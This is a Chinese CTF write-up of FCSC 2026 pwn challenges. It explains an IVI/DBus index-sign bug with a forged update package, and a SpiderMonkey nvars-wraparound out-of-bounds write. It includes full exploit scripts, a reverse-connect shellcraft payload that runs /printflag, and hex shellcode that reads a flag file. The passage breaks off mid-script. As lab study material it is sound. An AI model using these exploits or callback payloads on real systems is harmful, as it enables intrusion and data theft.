Hackropole FCSC 2026 Pwn 全题详解(一)
Hackropole FCSC 2026 Pwn 全12题系列 Writeup(上篇),本篇详细复现其中 5 道题的解题思路与利用过程。
前言
Hackropole是由法国国家网络安全局ANSSI维护的安全挑战平台,收录了历届FCSC赛题。笔者完成其中收录的FCSC 2026的12道Pwn题后,发现这些题目整体质量较高,题型也比较新颖,配套环境十分完整,非常适合学习。然而,目前公开题解仍较为零散、简略,且仅覆盖其中少数题目,可检索到的中文资料更是几乎没有。因此,本系列将尽量详细地讲解全部 12 道题的解题思路与具体解法。
考虑到将 12 道题全部放在一篇文章中篇幅过长,本系列将分为上下两篇,本文包含5道题目。
题目链接:https://hackropole.fr/en/pwn/
autodiag
题目考点
整数符号转换、结构体越界索引、DBus协议帧注入、update包完整性校验缺陷。
题面说This debug port looks promising.,附件里给了Docker和源码,并且要求必须通过容器暴露的网络端口交互。服务起来以后,外面连的是ivi_server,它收一个自定义IVI协议;里面还有一个ivi_dbusd,通过/run/ivi/bus.sock提供DBus接口。最终目标是读/flag.txt,容器里给了一个setuid root的/printflag。
几个主要ELF保护都开得比较全:
ivi_server: Full RELRO, Canary found, NX enabled, PIE enabled
ivi_dbusd: Full RELRO, Canary found, NX enabled, PIE enabled
ivi_update_runner: Full RELRO, Canary found, NX enabled, PIE enabled所以这题不是拿到一个溢出后直接ROP,而是要顺着服务自己的状态和内部IPC打。
主线
先把利用链放出来,后面逐段解释:
TCP连ivi_server
-> OP_HEALTHCHECK确认server到DBus的连接可用
-> OP_RESP里用conn_id符号转换绕过,目标fd打到dbus_sock_fd
-> 通过这个fd写入一条裸DBus RunUpdate(string) method call
-> RunUpdate调用setuid nobody的ivi_update_runner
-> update runner校验有缺陷,可以复用合法包的header/signature/key blob重加密自己的payload
-> payload执行/printflag,把输出回连回来这条链里最关键的转换是:外部TCP协议本来只能往conn_fds[idx]写数据,但idx检查写错以后,可以把写入目标换成ivi_server内部已经认证过的DBus socket。后面就不是传统内存劫持,而是借这个socket向DBus服务发合法方法调用。
服务入口和IVI帧
Docker里不是ivi_server --network直接监听端口,而是run.sh用socat包了一层:
/usr/bin/socat TCP-LISTEN:4000,reuseaddr,fork EXEC:/usr/local/bin/ivi_server &所以每次TCP连接都会起一个新的ivi_server进程,ivi_server从stdin读IVI帧,从stdout写响应。这个进程启动后会连接/run/ivi/bus.sock,拿到后面要用的dbus_sock_fd。这也是为什么exp只需要一条TCP连接:状态、DBus fd和我们的请求都在同一个ivi_server进程里。
IVI协议头固定20字节,小端:
struct MsgHdr {
uint32_t magic; // 0x30495649
uint32_t version; // 1
uint32_t op;
uint32_t body_len;
uint32_t req_id;
};响应也沿用同一个头,只是在body最前面多一个uint32_t status。这就是exp里send_ivi()做的事:发MsgHdr||body,再读回MsgHdr||status||payload。
和利用有关的OP_RESP body是:
u64 conn_id
u64 payload_len
payload bytes正常语义是把payload发到conn_fds[conn_id]。但我们后面会让conn_id越界命中dbus_sock_fd,于是payload就变成写给DBus总线的裸字节。
从conn_id到dbus_sock_fd
ivi_server维护的状态结构如下:
struct ServerState {
int conn_fds[MAX_CONN_SLOTS];
int dbus_sock_fd;
uint64_t conn_tx_msgs[MAX_CONN_SLOTS];
uint64_t conn_tx_bytes[MAX_CONN_SLOTS];
DBusConnection *dbus_conn;
...
};MAX_CONN_SLOTS是10。conn_fds是int[10],一共40字节,后面紧跟着另一个int dbus_sock_fd。connect_dbus_manager里会先连unix:path=/run/ivi/bus.sock,然后dbus_bus_register完成DBus认证和注册,最后用dbus_connection_get_unix_fd把底层fd存进dbus_sock_fd:
conn = dbus_connection_open_private(DBUS_ADDR, &err);
...
dbus_bus_register(conn, &err);
...
dbus_connection_get_unix_fd(conn, &fd);
st->dbus_conn = conn;
st->dbus_sock_fd = fd;外部能直接触发的是OP_RESP:
static int op_resp(struct ServerState *st, int client_fd, const struct MsgHdr *hdr,
const uint8_t *body) {
size_t off = 0;
size_t conn_id = 0;
size_t payload_len = 0;
size_t max_len = 0;
const uint8_t *payload = NULL;
int target_fd;
uint8_t frame[MAX_RESP_FRAME];
uint32_t sent;
int64_t idx;
if (parse_u64(body, hdr->body_len, &off, &conn_id) != 0 ||
parse_u64(body, hdr->body_len, &off, &payload_len) != 0) {
return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
}
max_len = (size_t)hdr->body_len - off;
if (max_len > sizeof(frame)) {
return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
}
idx = (int64_t)conn_id;
if (idx > MAX_CONN_SLOTS - 1) {
return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
}
target_fd = st->conn_fds[idx];
if (target_fd < 0) {
return send_response(client_fd, hdr->op, hdr->req_id, ST_NOTFOUND, NULL, 0);
}
if (payload_len > sizeof(frame)) {
return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
}
parse_blob(body, hdr->body_len, &off, &payload, (uint32_t)max_len);
memcpy(frame, payload, max_len);
send(target_fd, frame, payload_len, 0);
...
}这里有两个细节:
conn_id按uint64_t解析,然后转成int64_t idx。- 检查只有
idx > 9,没有检查idx < 0。
如果只传-1,会访问conn_fds[-1],这个方向不一定有用。真正想要的是conn_fds[10],因为它就是dbus_sock_fd。正常传10会被idx > 9拦掉,所以需要找一个“按有符号数看是负数,按数组寻址低位看是10”的值:
conn_id = 0x800000000000000a转成int64_t后它是负数,可以过idx > 9。而编译后的取fd逻辑是类似:
mov rax,QWORD PTR [rbp-0x858] ; st
mov rdx,QWORD PTR [rbp-0x820] ; idx
mov eax,DWORD PTR [rax+rdx*4] ; st->conn_fds[idx]x86-64有效地址计算是64位wrap的。0x800000000000000a * 4 = 0x20000000000000028,截断到64位后就是0x28,也就是40字节。conn_fds[10]正好在结构体开头后40字节,因此这里读出的target_fd就是dbus_sock_fd。
于是OP_RESP变成了一个很强的primitive:
把任意最多0x800字节,写到ivi_server已经认证过的DBus连接fd上注意这里不需要劫持返回地址,也不需要知道PIE/libc地址。我们借的是程序自己的内部连接。
为什么DBus消息能拆成多次写
这个点容易跳过去,但它是这题能稳定利用的原因之一。
先明确我们写到的是谁。dbus_sock_fd不是ivi_dbusd进程的stdin,也不是某个普通文件,而是ivi_server作为一个DBus客户端连到bus daemon的Unix socket。RunUpdate真正由ivi_dbusd处理,bus daemon负责把发往com.acme.ivi.ServiceManager的method call路由过去。
这个连接在我们接管前已经是合法DBus连接。connect_dbus_manager()里先dbus_connection_open_private,再dbus_bus_register,也就是libdbus已经完成认证、BEGIN、注册到bus这些步骤。我们没有从头伪造一条DBus连接,而是在一个已经进入“正常消息传输阶段”的连接上继续塞method call。
DBus常见传输层是Unix stream socket。stream socket只保证字节顺序,不保留应用层消息边界。也就是说,一条DBus消息可以被一次write写完,也可以被拆成多次write;接收端看到的只是同一条有序字节流。OP_RESP每次调用都会执行一次send(target_fd, frame, payload_len, 0),多次OP_RESP最终就是对同一个dbus_sock_fd连续写多段bytes。
DBus消息自身有framing。消息开头的固定头部里包含:
endianness
message type
flags
protocol version
body length
serial
header fields length
header fields
padding
bodybus daemon从socket里读数据时,会先攒够固定头和header fields,然后根据body length和header fields length算出完整消息长度,再继续读body。只要最终字节流连续且内容合法,中间拆成几段写入不影响解析。拆包发生在传输层,DBus消息边界由DBus自己的长度字段恢复。
这里还有个时序问题:如果我们分块发,第一块到达bus daemon以后可能只是一条不完整DBus消息。这个没有关系,bus daemon会继续在同一个stream上等后面的字节。ivi_server对每个OP_RESP都会给我们回一个IVI响应,这个响应走的是TCP stdout,不会写进DBus fd,所以不会污染DBus消息流。
OP_RESP本身每次最多发0x800字节:
#define MAX_RESP_FRAME 2048
...
if (payload_len > sizeof(frame)) invalid;
send(target_fd, frame, payload_len, 0);所以exp里把DBus帧按0x800切开,多次调用OP_RESP。本题最终RunUpdate帧长度只有一千多字节,其实一次写也够,分块是为了让脚本对payload长度变化更稳。只要所有块按顺序写入同一个dbus_sock_fd,bus daemon看到的就是一条完整method call。
还有一点:我们不靠DBus reply拿flag。RunUpdate方法会返回字符串,但这条调用是我们绕过libdbus对象直接写到底层fd的,ivi_server没有通过dbus_connection_send_with_reply_and_block等待这个serial。reply即使回到这个DBus连接,也不一定能通过IVI协议返回给我们。利用里只把DBus当触发器,flag由payload主动回连带出来。
构造RunUpdate调用
DBus服务里可用的方法不少,和执行有关的是RunUpdate:
if (dbus_message_is_method_call(msg, IVI_DBUS_IFACE, "RunUpdate")) {
const char *payload = nullptr;
DBusError err;
dbus_error_init(&err);
if (!dbus_message_get_args(msg, &err, DBUS_TYPE_STRING, &payload,
DBUS_TYPE_INVALID)) {
...
}
std::string update = payload ? payload : "";
return send_string(conn, msg, run_update(update));
}run_update会fork执行/opt/ivi/bin/ivi_update_runner,参数就是base64字符串:
char *const argv[] = {const_cast<char *>("/opt/ivi/bin/ivi_update_runner"),
const_cast<char *>(b64_update.c_str()), nullptr};
execv(argv[0], argv);所以DBus帧需要表达的是:
destination: com.acme.ivi.ServiceManager
path: /com/acme/ivi/ServiceManager
interface: com.acme.ivi.ServiceManager
member: RunUpdate
signature: s
body: forged_update_base64对应到DBus header field code就是:
1 PATH
2 INTERFACE
3 MEMBER
6 DESTINATION
8 SIGNATURE消息开头四个字节在exp里写成:
bytes([ord("l"), 1, 0, 1])含义分别是小端、message type为method call、flags为0、protocol version为1。后面接body length、serial、header fields length。serial不需要和libdbus内部计数同步,只要这条连接上没有依赖这个serial的等待逻辑即可;我们刚做完一次OP_HEALTHCHECK,它会同步等自己的DBus Ping返回,之后没有pending call,所以这里用一个固定值就够了。
DBus里字符串编码是u32 len || bytes || NUL,signature是u8 len || bytes || NUL。header fields是一个array of struct,每个field struct按8字节对齐,variant内部还要按被包裹类型的alignment补padding。整个header结束后也要补到8字节对齐,再接body。这里没有必要实现完整DBus库,只要把本题用到的object path/string/signature几种类型编码对即可。
我这里用dbus-send配合strace抓过一条真实RunSelfTest(string)调用对照,确认字段顺序和padding没有问题。EXP里的dbus_method_call_one_string()就是这个格式的最小实现。
update包伪造
继续看ivi_update_runner:
static std::vector<uint8_t> decode_update_payload(const std::string &b64_update) {
auto buf = base64_decode(b64_update);
if (memcmp(buf.data(), "UPD0", 4) != 0) {
throw std::runtime_error("bad magic");
}
uint32_t h_size = read_u32_le(buf.data() + 8);
...
size_t off_sig = (size_t)h_size;
size_t off_key = off_sig + SIG_BYTES;
size_t off_ct = off_key + KEY_BLOB_BYTES;
...
auto hdr_hash = sha256(buf.data(), (size_t)h_size);
auto sig_plain = rsa_public_raw_256(rsa, buf.data() + off_sig);
if (memcmp(sig_plain.data(), hdr_hash.data(), 32) != 0) {
RSA_free(rsa);
throw std::runtime_error("signature check failed");
}
auto key_plain = rsa_public_raw_256(rsa, buf.data() + off_key);
uint8_t aes_key[AES_KEY_BYTES];
memcpy(aes_key, key_plain.data(), AES_KEY_BYTES);
std::vector<uint8_t> ct(buf.begin() + (long)off_ct, buf.end());
auto pt = aes256_cbc_decrypt_zero_iv(ct, aes_key);
pt = pkcs7_unpad(std::move(pt));
RSA_free(rsa);
return gunzip_all(pt);
}update格式可以整理成:
header(h_size) || sig(0x100) || key_blob(0x100) || ciphertext签名检查是:
rsa_public_raw(sig)[:32] == sha256(header)也就是说签名只覆盖header,不覆盖key_blob,更不覆盖ciphertext。另外这里不是标准RSA签名验签,也没有PKCS#1 padding检查,只是做了一次S^e mod n以后拿明文前32字节比较hash。
AES key的处理也类似:
key_plain = rsa_public_raw(key_blob)
aes_key = key_plain[:32]这里的关键是rsa_public_raw只需要公钥。它没有做“只有私钥才能解”的操作,而是直接算blob^e mod n。public key和现有合法update.bin都在附件里,所以我们可以对原key_blob做完全相同的运算,把runner后续会使用的AES key算出来。
到这里不需要伪造签名,也不需要修改header。直接复用原来的header||sig||key_blob,只替换最后的ciphertext:
new_update = old_header || old_sig || old_key_blob || AES_CBC_0(gzip(payload_elf))签名仍然过,因为header没变。key也仍然对,因为key blob没变。密文没被认证,所以解出来就是我们的gzip ELF。AES模式是AES-256-CBC,IV固定全0,padding是PKCS#7;解密后还要gunzip_all,所以payload要先gzip再加密。
大小约束也要看一下。DBus的RunUpdate参数最多256KiB,IVI单个请求body最多64KiB,OP_RESP单次写DBus最多0x800字节。我们的ELF gzip后很小,base64后的update也只有一千多字节,完全在限制内。如果换成更大的payload,DBus消息可以继续按0x800分块写;每个OP_RESP请求的body保持在协议限制内即可,完整DBus消息不需要落在单个IVI请求里。
解密后进入exec_payload_memfd:
int fd = memfd_create("ivi_update_payload", 0);
fchmod(fd, 0755);
write_all(fd, payload.data(), payload.size());
...
execveat(fd, "", argv, environ, AT_EMPTY_PATH)这里会直接执行解出来的ELF。runner的euid是nobody,不是root,但/printflag是setuid root,所以payload只需要执行/printflag并把输出带出来。
为什么payload要自己回连?因为run_update本来会捕获runner的stdout/stderr并作为DBus返回值返回,但这条DBus调用不是通过ivi_server的正常RPC路径发出去的,我们没有一个IVI op能读到这次method return。让payload先connect(callback_host, callback_port),再dup2到stdout/stderr,最后execve("/printflag"),flag就从我们的监听socket回来,不依赖DBus reply。
EXP
完整exp如下。这是实际使用的autosolve/artifacts/exploit.py版本,所以脚本里用parents[2]取题目根目录。默认打本机127.0.0.1:4000,如果本地把容器4000映射到了其他端口,改--target-port即可。--callback-host需要填容器能连到的宿主机地址,Docker默认bridge下一般是172.17.0.1。
import argparse
import base64
import gzip
import socket
import struct
import time
from pathlib import Path
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from pwn import asm, context, make_elf, shellcraft
ROOT = Path(__file__).resolve().parents[2]
UPDATE_BIN = ROOT / "autosolve/artifacts/autodiag/src/helper/update.bin"
PUBLIC_PEM = ROOT / "autosolve/artifacts/autodiag/src/helper/public.pem"
RUNS = ROOT / "autosolve/runs"
ARTIFACTS = ROOT / "autosolve/artifacts"
IVI_MAGIC = 0x30495649
IVI_VERSION = 1
OP_HEALTHCHECK = 5
OP_RESP = 3
ST_OK = 0
DBUS_FD_CONN_ID = 0x800000000000000A
MAX_CHUNK = 2048
SERVICE = "com.acme.ivi.ServiceManager"
PATH = "/com/acme/ivi/ServiceManager"
def p32(x):
return struct.pack("<I", x)
def p64(x):
return struct.pack("<Q", x)
def recvn(sock, n):
out = b""
while len(out) < n:
chunk = sock.recv(n - len(out))
if not chunk:
raise EOFError(f"short read: wanted {n}, got {len(out)}")
out += chunk
return out
def send_ivi(sock, op, body=b"", req_id=1):
hdr = p32(IVI_MAGIC) + p32(IVI_VERSION) + p32(op) + p32(len(body)) + p32(req_id)
sock.sendall(hdr + body)
rh = recvn(sock, 20)
magic, version, rop, body_len, rid = struct.unpack("<IIIII", rh)
body = recvn(sock, body_len) if body_len else b""
if magic != IVI_MAGIC or version != IVI_VERSION or rop != op or rid != req_id:
raise RuntimeError(f"bad IVI response header: {rh.hex()}")
status = struct.unpack("<I", body[:4])[0] if len(body) >= 4 else None
return status, body[4:]
def pad_len(n, align):
return (-n) % align
def dbus_string(s):
b = s.encode()
return p32(len(b)) + b + b"\0"
def dbus_signature(sig):
b = sig.encode()
return bytes([len(b)]) + b + b"\0"
def dbus_field(code, sig, value, value_align):
out = bytes([code]) + dbus_signature(sig)
out += b"\0" * pad_len(len(out), value_align)
out += value
return out
def dbus_method_call_one_string(member, arg, serial=0x1337):
fields = [
(1, "o", dbus_string(PATH), 4),
(2, "s", dbus_string(SERVICE), 4),
(3, "s", dbus_string(member), 4),
(6, "s", dbus_string(SERVICE), 4),
(8, "g", dbus_signature("s"), 1),
]
header_fields = b""
for f in fields:
header_fields += b"\0" * pad_len(len(header_fields), 8)
header_fields += dbus_field(*f)
body = dbus_string(arg)
hdr = bytes([ord("l"), 1, 0, 1])
hdr += p32(len(body)) + p32(serial) + p32(len(header_fields)) + header_fields
hdr += b"\0" * pad_len(len(hdr), 8)
return hdr + body
def raw_rsa_public(pub_path, blob):
key = serialization.load_pem_public_key(pub_path.read_bytes(), backend=default_backend())
nums = key.public_numbers()
m = pow(int.from_bytes(blob, "big"), nums.e, nums.n)
return m.to_bytes(256, "big")
def aes_cbc_encrypt_zero_iv(key, plaintext):
pad = 16 - (len(plaintext) % 16)
plaintext += bytes([pad]) * pad
cipher = Cipher(algorithms.AES(key), modes.CBC(b"\0" * 16), backend=default_backend())
enc = cipher.encryptor()
return enc.update(plaintext) + enc.finalize()
def make_callback_elf(host, port):
context.clear(arch="amd64", os="linux")
sc = shellcraft.amd64.linux.connect(host, port)
sc += shellcraft.amd64.linux.dup2("rbp", 1)
sc += shellcraft.amd64.linux.dup2("rbp", 2)
sc += shellcraft.amd64.linux.execve("/printflag", 0, 0)
elf = make_elf(asm(sc), extract=True)
payload_path = ARTIFACTS / "callback_printflag.elf"
payload_path.write_bytes(elf)
return elf
def make_update(payload_elf):
buf = UPDATE_BIN.read_bytes()
if buf[:4] != b"UPD0":
raise RuntimeError("bad update template magic")
h_size = struct.unpack("<I", buf[8:12])[0]
off_sig = h_size
off_key = off_sig + 256
off_ct = off_key + 256
header_sig_key = buf[:off_ct]
key_blob = buf[off_key:off_ct]
aes_key = raw_rsa_public(PUBLIC_PEM, key_blob)[:32]
compressed = gzip.compress(payload_elf)
ct = aes_cbc_encrypt_zero_iv(aes_key, compressed)
update = header_sig_key + ct
update_path = ARTIFACTS / "forged_update.bin"
update_path.write_bytes(update)
b64 = base64.b64encode(update).decode()
(ARTIFACTS / "forged_update.b64").write_text(b64)
return b64
def send_dbus_frame(sock, frame):
for i in range(0, len(frame), MAX_CHUNK):
chunk = frame[i : i + MAX_CHUNK]
body = p64(DBUS_FD_CONN_ID) + p64(len(chunk)) + chunk
status, payload = send_ivi(sock, OP_RESP, body, req_id=0x5000 + i // MAX_CHUNK)
if status != ST_OK:
raise RuntimeError(
f"OP_RESP chunk {i // MAX_CHUNK} failed: status={status} payload={payload!r}"
)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--target-host", default="127.0.0.1")
parser.add_argument("--target-port", type=int, default=4000)
parser.add_argument("--callback-host", default="172.17.0.1")
parser.add_argument("--callback-port", type=int, default=0)
parser.add_argument("--listen-host", default="0.0.0.0")
parser.add_argument("--timeout", type=float, default=8.0)
args = parser.parse_args()
RUNS.mkdir(parents=True, exist_ok=True)
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((args.listen_host, args.callback_port))
listener.listen(1)
callback_port = listener.getsockname()[1]
payload = make_callback_elf(args.callback_host, callback_port)
b64_update = make_update(payload)
frame = dbus_method_call_one_string("RunUpdate", b64_update)
transcript = RUNS / f"exploit_{int(time.time())}.txt"
with transcript.open("wb") as log:
log.write(f"target={args.target_host}:{args.target_port}\n".encode())
log.write(f"callback={args.callback_host}:{callback_port}\n".encode())
log.write(
f"payload_len={len(payload)} update_b64_len={len(b64_update)} "
f"dbus_frame_len={len(frame)}\n".encode()
)
with socket.create_connection((args.target_host, args.target_port), timeout=args.timeout) as s:
s.settimeout(args.timeout)
status, payload = send_ivi(s, OP_HEALTHCHECK, b"", req_id=0x4444)
log.write(f"healthcheck status={status} payload={payload!r}\n".encode())
if status != ST_OK:
raise RuntimeError("DBus healthcheck failed")
send_dbus_frame(s, frame)
log.write(b"dbus RunUpdate frame sent\n")
listener.settimeout(args.timeout)
conn, addr = listener.accept()
with conn:
conn.settimeout(args.timeout)
data = b""
while True:
try:
chunk = conn.recv(4096)
except socket.timeout:
break
if not chunk:
break
data += chunk
log.write(f"callback_addr={addr}\n".encode())
log.write(b"callback_data_hex=" + data.hex().encode() + b"\n")
log.write(b"callback_data_ascii=" + data + b"\n")
print(data.decode(errors="replace").strip())
print(f"[transcript] {transcript}")
if __name__ == "__main__":
main()结果
本地用官方Docker服务打通,回连里能收到/printflag输出:
FCSC{a6aec868d6ea0391656786b72aa7a333e4c2a35180897dc38cfc96330faaf685}Spidersaurus Rex
题目给的是一个很老的SpiderMonkey,加了一个“未来JIT”的补丁。提示已经很直白:what happens if a function contains 65536 variables?
最终利用链是:
- 构造一个含65536个局部变量的函数,让
JSFunction.nvars从uint16回绕到0。 - 编译阶段仍然给这些变量生成16位slot操作数,执行阶段却按0个局部变量分配frame。
JSOP_SETVAR变成相对fp->vars的越界写。- 用越界写改一个普通对象的
JSSLOT_CLASS,伪造JSClass.convert。 - shellcode放进早期heap中的JS字符串,由题目里的
mprotect(..., -1, RWX)获得可执行权限。 - 调用被改坏的对象,
js_Invoke走clasp->convert,跳到shellcode读flag.txt。
题目要求必须通过Docker暴露出来的TCP端口交互,并且发送完JS以后要shutdown(SHUT_WR)触发执行。这个要求会影响heap布局,所以后面的offset都按TCP/stdin模式调。
nvars回绕
先看函数结构体:
struct JSFunction {
jsrefcount nrefs;
JSObject *object;
JSNative call;
uint8 nargs;
uint8 flags;
uint16 extra;
uint16 nvars;
uint16 spare;
JSAtom *atom;
JSScript *script;
};nvars只有16位。声明局部变量时,parser给当前变量分配slot:
if (getter == js_GetLocalVariable) {
sprop = (JSScopeProperty *)prop;
sprop->id = INT_TO_JSVAL(fun->nvars++);
}这里的关键不是“最终fun->nvars是多少”,而是“每个变量声明时拿到的slot是多少”。如果变量名互不重复,v0到v65535会依次拿到slot0..65535,第65536次自增之后fun->nvars才回绕成0。
代码生成阶段也没有再按最终nvars截断。TOK_NAME如果有pn_slot,直接把slot作为两字节操作数写进bytecode:
#define EMIT_ATOM_INDEX_OP(op, atomIndex) \
js_Emit3(cx, cg, op, ATOM_INDEX_HI(atomIndex), ATOM_INDEX_LO(atomIndex))
case TOK_NAME:
if (pn->pn_slot >= 0) {
EMIT_ATOM_INDEX_OP(pn->pn_op, (jsatomid) pn->pn_slot);
break;
}解释器取局部变量slot也是读这两个字节:
#define GET_ARGC(pc) (((pc)[1] << 8) | (pc)[2])
#define GET_VARNO(pc) GET_ARGC(pc)所以nvars回绕以后,仍然能有getvar/setvar 0xffff这种带16位slot的字节码。回绕只影响运行时frame怎么分配,不会抹掉已经存在于parse tree和bytecode里的slot立即数。
执行函数时,js_Invoke把fun->nvars复制到frame:
nvars = fun->nvars;
frame.nvars = nvars;
nslots = (intN)frame.nvars;
if (nslots) {
newsp = js_AllocStack(cx, (uintN)nslots, NULL);
...
}回绕后frame.nvars=0,不会为局部变量分配空间。但JSOP_SETVAR仍然信任bytecode里的slot:
case JSOP_SETVAR:
slot = (uintN)GET_VARNO(pc);
PR_ASSERT(slot < fp->fun->nvars);
vp = &fp->vars[slot];
*vp = sp[-1];
break;PR_ASSERT在发布构建里不是有效防线,于是v2048=...、v2050=...这类赋值就变成了从fp->vars往后的四字节写。
从越界写到convert
SpiderMonkey的对象结构很小:
struct JSObject {
JSObjectMap *map;
jsval *slots;
};
#define JSSLOT_PROTO 0
#define JSSLOT_PARENT 1
#define JSSLOT_CLASS 2对象创建时,class指针存在slots[2]:
obj->slots = JS_malloc(cx, JS_INITIAL_NSLOTS * sizeof(jsval));
obj->slots[JSSLOT_CLASS] = PRIVATE_TO_JSVAL(clasp);取class时会把最低位tag清掉:
#define OBJ_GET_CLASS(cx,obj) \
((JSClass *)JSVAL_TO_PRIVATE(OBJ_GET_SLOT(cx, obj, JSSLOT_CLASS)))而JSClass里convert字段在偏移0x20:
struct JSClass {
char *name;
uint32 flags;
JSPropertyOp addProperty;
JSPropertyOp delProperty;
JSPropertyOp getProperty;
JSPropertyOp setProperty;
JSEnumerateOp enumerate;
JSResolveOp resolve;
JSConvertOp convert;
JSFinalizeOp finalize;
...
};js_Invoke调用一个对象时,如果它的class不是js_FunctionClass,会尝试把它convert成函数:
clasp = OBJ_GET_CLASS(cx, funobj);
if (clasp != &js_FunctionClass) {
ops = funobj->map->ops;
ok = clasp->convert(cx, funobj, JSTYPE_FUNCTION, &v);
...
}这就给了一个很干净的劫持点:把普通对象g的slots[2]改成伪造JSClass,再把伪造class的convert填成shellcode入口,最后执行g()。
payload里把g={}放在漏洞函数内部创建,但g本身是全局变量:
var g;
function f() {
var v0,v1,...,v65535;
g = {};
...
}
f();
g();这样做有两个好处。第一,g.slots会落在fp->vars后面固定距离,能被局部变量OOB写到。第二,f()返回以后全局g还活着,后面调用g()时被污染的slots不会被回收。
TCP/stdin模式下调出来的稳定布局是:
vars = break + 0xc825c0
g.slots = break + 0xc845c0所以g.slots-vars=0x2000。要写g.slots[2],目标地址是g.slots+8,对应slot:
(0x2000 + 8) / 4 = 0x802 = 2050也就是写v2050。
伪造的JSClass直接放在g.slots+0x100。convert偏移0x20,所以写fake_class->convert的目标是:
g.slots + 0x100 + 0x20对应slot:
(0x2000 + 0x100 + 0x20) / 4 = 0x848 = 2120也就是先写v2120=shell_entry,再写v2050=PRIVATE_TO_JSVAL(fake_class)。
JSVAL的低位限制
这里不能忽略JSVAL编码。32位JSVAL的整数和private pointer都是靠最低位区分:
#define JSVAL_TO_INT(v) ((jsint)(v) >> 1)
#define INT_TO_JSVAL(i) (((jsval)(i) << 1) | JSVAL_INT)
#define JSVAL_TO_PRIVATE(v) ((void *)((v) & ~JSVAL_INT))
#define PRIVATE_TO_JSVAL(p) ((jsval)(p) | JSVAL_INT)越界写来自JS里的整数赋值,解释器实际写进内存的是INT_TO_JSVAL(i),所以能直接写出的raw dword最低位必须是1。EXP里的转换函数就是做这个反变换:
def jsint_for_raw_word(word):
word &= 0xffffffff
if (word & 1) == 0:
raise ValueError("not encodable")
value = word >> 1
if value >= 0x40000000:
value -= 0x80000000
return value这个限制正好也符合JSSLOT_CLASS的格式:slot里应该放PRIVATE_TO_JSVAL(fake_class),也就是fake_class|1,OBJ_GET_CLASS会在使用时清掉最低位。
真正麻烦的是convert函数指针。clasp->convert不是JSVAL,调用时不会清tag,所以写进去的raw值就是CPU要跳的地址。因为我们只能写奇数raw dword,shellcode入口也必须是奇数地址。解决办法是在JS字符串开头放一个填充字节,shellcode从chars+1开始执行。
shellcode放哪里
补丁里有这段:
JIT_buffer = (unsigned char *)malloc(PAGE_SIZE);
mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000),
-1,
PROT_READ|PROT_WRITE|PROT_EXEC);mprotect第二个参数是size_t,32位下-1会变成0xffffffff。起点是JIT_buffer所在heap页,长度巨大;在这道题的运行环境里,内核会从这个heap页开始处理后面的映射,前面已经处理过的heap VMA会变成rwxp。即使后面遇到空洞导致调用不能覆盖完整区间,程序也没有检查返回值。实际调maps能看到早期heap是rwxp,后来brk继续长出来的heap页仍然是rw-p。
这也是为什么不能直接把shellcode放在g.slots附近。g是在读入大段JS源码、解析、建函数之后才分配的,位置已经在后面那段rw-pheap里,跳过去会因为NX崩掉。
题目提示还说JS字符串可以包含任意二进制,例如邐邐。JSString结构如下:
struct JSString {
size_t length;
jschar *chars;
};字符串拷贝会先用JS_malloc分配chars,再复制内容:
news = (jschar *)JS_malloc(cx, (n + 1) * sizeof(jschar));
js_strncpy(news, s, n);
str = js_NewString(cx, news, n, gcflag);把shellcode放在全局字符串var sc="..."里,chars会落在早期heap的可执行区域,并且全局变量会让它活到g()触发时。最终采用的入口是:
sc.chars = break - 0x153b0
entry = break - 0x153b0 + 1这里的+1就是前面说的JSVAL奇数限制。
offset的定位依据
题目本身在启动后调用了一次GC,补丁会打印当前sbrk(0):
printf("before %lu, after %lu, break %08lx\n",
preBytes, rt->gcBytes, sbrk(0));所以每次TCP连接开始都有一个heap基准,例如最终打通时stdout开头是:
before 4050, after 4041, break 6340d000break+0xc825c0是用JSOP_SETVAR里的调试输出定位的。补丁在slot0赋值时打印&fp->vars[0]:
vp = &fp->vars[slot];
*vp = sp[-1];
if (slot == 0) print_hex((unsigned int)vp);在同样的TCP/stdin输入模式下加一次v0=...探针,可以直接得到fp->vars,换算成break+0xc825c0。
break+0xc845c0来自js_Invoke的非函数调用调试输出。补丁在clasp != &js_FunctionClass时打印:
print_hex((unsigned int)funobj->slots);
print_hex((unsigned int)clasp);
print_hex((unsigned int)clasp->convert);
print_hex(*(unsigned int *)(clasp->convert));最终触发g()时stderr里能看到:
640915C0
640916C0
633F7C51
E789C031结合break=0x6340d000:
funobj->slots = 0x640915c0 = break + 0xc845c0
clasp = 0x640916c0 = g.slots + 0x100
clasp->convert = 0x633f7c51 = break - 0x153b0 + 1最后一行E789C031是*(uint32_t *)clasp->convert。内存字节是31 c0 89 e7,正好是shellcode开头,说明convert已经跳到字符串chars+1,不是跳进了g.slots那段不可执行heap。
EXP
下面EXP只依赖官方TCP交互模式。默认连127.0.0.1:4000,如果本地映射了其他端口,用--port改一下即可。
import argparse
import re
import socket
import struct
import sys
OFF_VARS = 0xC825C0
OFF_SLOTS = 0xC845C0
OFF_SC_CHARS = 0x153B0
JSCLASS_CONVERT = 0x20
SHELLCODE = bytes.fromhex(
"31c089e789e34545b066aa45b06caa45b061aa45b067aa45b02eaa45b074aa"
"45b078aa45b074aa45b000aa31c031c931d2b005cd8089c34581ec00010000"
"89e1b2804531c0b003cd8089c231db434531c0b004cd8031db31c0b001cd80"
)
def jsint_for_raw_word(word):
word &= 0xFFFFFFFF
if (word & 1) == 0:
raise ValueError(f"raw word {word:#x} is not encodable as a JS int")
value = word >> 1
if value >= 0x40000000:
value -= 0x80000000
return value
def slot_for(vars_addr, target_addr):
delta = target_addr - vars_addr
if delta % 4:
raise ValueError(f"unaligned write target {target_addr:#x}")
slot = delta // 4
if not 0 <= slot <= 0xFFFF:
raise ValueError(f"slot {slot:#x} is outside the 16-bit operand range")
return slot
def js_string_for_bytes(blob):
if len(blob) & 1:
blob += b"P"
out = []
for i in range(0, len(blob), 2):
out.append("\\u%04x" % struct.unpack("<H", blob[i:i + 2])[0])
return "".join(out)
def parse_break(data):
